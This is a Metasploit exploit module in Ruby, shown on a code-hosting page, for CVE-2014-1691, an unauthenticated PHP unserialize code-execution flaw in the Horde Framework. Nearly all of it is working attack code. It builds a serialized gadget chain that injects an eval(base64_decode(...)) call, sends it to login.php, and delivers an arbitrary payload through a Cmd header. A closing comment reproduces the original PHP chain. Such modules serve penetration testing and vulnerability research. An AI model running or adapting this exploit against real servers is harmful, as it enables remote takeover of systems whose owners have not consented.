Real-time collaboration for Jupyter Notebooks, Linux Terminals, LaTeX, VS Code, R IDE, and more,
all in one place.
Real-time collaboration for Jupyter Notebooks, Linux Terminals, LaTeX, VS Code, R IDE, and more,
all in one place.
Path: blob/master/modules/exploits/unix/webapp/horde_unserialize_exec.rb
Views: 11784
##1# This module requires Metasploit: https://metasploit.com/download2# Current source: https://github.com/rapid7/metasploit-framework3##45class MetasploitModule < Msf::Exploit::Remote6Rank = ExcellentRanking78include Msf::Exploit::Remote::HttpClient910def initialize(info = {})11super(update_info(info,12'Name' => 'Horde Framework Unserialize PHP Code Execution',13'Description' => %q{14This module exploits a php unserialize() vulnerability in Horde <= 5.1.1 which could be15abused to allow unauthenticated users to execute arbitrary code with the permissions of16the web server. The dangerous unserialize() exists in the 'lib/Horde/Variables.php' file.17The exploit abuses the __destruct() method from the Horde_Kolab_Server_Decorator_Clean18class to reach a dangerous call_user_func() call in the Horde_Prefs class.19},20'Author' =>21[22'EgiX', # Exploitation technique and Vulnerability discovery (originally reported by the vendor)23'juan vazquez' # Metasploit module24],25'License' => MSF_LICENSE,26'References' =>27[28[ 'CVE', '2014-1691' ],29[ 'URL', 'http://karmainsecurity.com/exploiting-cve-2014-1691-horde-framework-php-object-injection' ],30[ 'URL', 'https://bugs.debian.org/cgi-bin/bugreport.cgi?bug=737149' ],31[ 'URL', 'https://github.com/horde/horde/commit/da6afc7e9f4e290f782eca9dbca794f772caccb3' ]32],33'Privileged' => false,34'Platform' => ['php'],35'Arch' => ARCH_PHP,36'Payload' =>37{38'DisableNops' => true39},40'Targets' => [ ['Horde 5', { }], ],41'DefaultTarget' => 0,42'DisclosureDate' => '2013-06-27'43))4445register_options(46[47OptString.new('TARGETURI', [ true, "The base path to Horde", "/horde/"])48])49end5051def check52flag = rand_text_alpha(rand(10)+20)53res = send_request_exploit("print #{flag};die;")54if res and res.body and res.body.to_s =~ /#{flag}/55return Exploit::CheckCode::Vulnerable56end57return Exploit::CheckCode::Safe58end5960def exploit61print_status("Testing injection...")62unless check == Exploit::CheckCode::Vulnerable63fail_with(Failure::NotVulnerable, "#{peer} - Target isn't vulnerable, exiting...")64end6566print_status("Exploiting the unserialize()...")67send_request_exploit(payload.encoded)68end6970def send_request_exploit(p)71php_injection = "eval(base64_decode($_SERVER[HTTP_CMD]));die();"7273payload_serialized = "O:34:\"Horde_Kolab_Server_Decorator_Clean\":2:{s:43:\"\x00Horde_Kolab_Server_Decorator_Clean\x00_server\";"74payload_serialized << "O:20:\"Horde_Prefs_Identity\":2:{s:9:\"\x00*\x00_prefs\";O:11:\"Horde_Prefs\":2:{s:8:\"\x00*\x00_opts\";a:1:{s:12:\"sizecallback\";"75payload_serialized << "a:2:{i:0;O:12:\"Horde_Config\":1:{s:13:\"\x00*\x00_oldConfig\";s:#{php_injection.length}:\"#{php_injection}\";}i:1;s:13:\"readXMLConfig\";}}"76payload_serialized << "s:10:\"\x00*\x00_scopes\";a:1:{s:5:\"horde\";O:17:\"Horde_Prefs_Scope\":1:{s:9:\"\x00*\x00_prefs\";a:1:{i:0;i:1;}}}}"77payload_serialized << "s:13:\"\x00*\x00_prefnames\";a:1:{s:10:\"identities\";i:0;}}s:42:\"\x00Horde_Kolab_Server_Decorator_Clean\x00_added\";a:1:{i:0;i:1;}}"7879send_request_cgi(80{81'uri' => normalize_uri(target_uri.path.to_s, "login.php"),82'method' => 'POST',83'vars_post' => {84'_formvars' => payload_serialized85},86'headers' => {87'Cmd' => Rex::Text.encode_base64(p)88}89})90end91end9293=begin9495PHP chain by EgiX: http://karmainsecurity.com/exploiting-cve-2014-1691-horde-framework-php-object-injection9697class Horde_Config98{99protected $_oldConfig = "phpinfo();die;";100}101102class Horde_Prefs_Scope103{104protected $_prefs = array(1);105}106107class Horde_Prefs108{109protected $_opts, $_scopes;110111function __construct()112{113$this->_opts['sizecallback'] = array(new Horde_Config, 'readXMLConfig');114$this->_scopes['horde'] = new Horde_Prefs_Scope;115}116}117118class Horde_Prefs_Identity119{120protected $_prefs, $_prefnames;121122function __construct()123{124$this->_prefs = new Horde_Prefs;125$this->_prefnames['identities'] = 0;126}127}128129class Horde_Kolab_Server_Decorator_Clean130{131private $_server, $_added = array(1);132133function __construct()134{135$this->_server = new Horde_Prefs_Identity;136}137}138139$popchain = serialize(new Horde_Kolab_Server_Decorator_Clean);140141=end142143144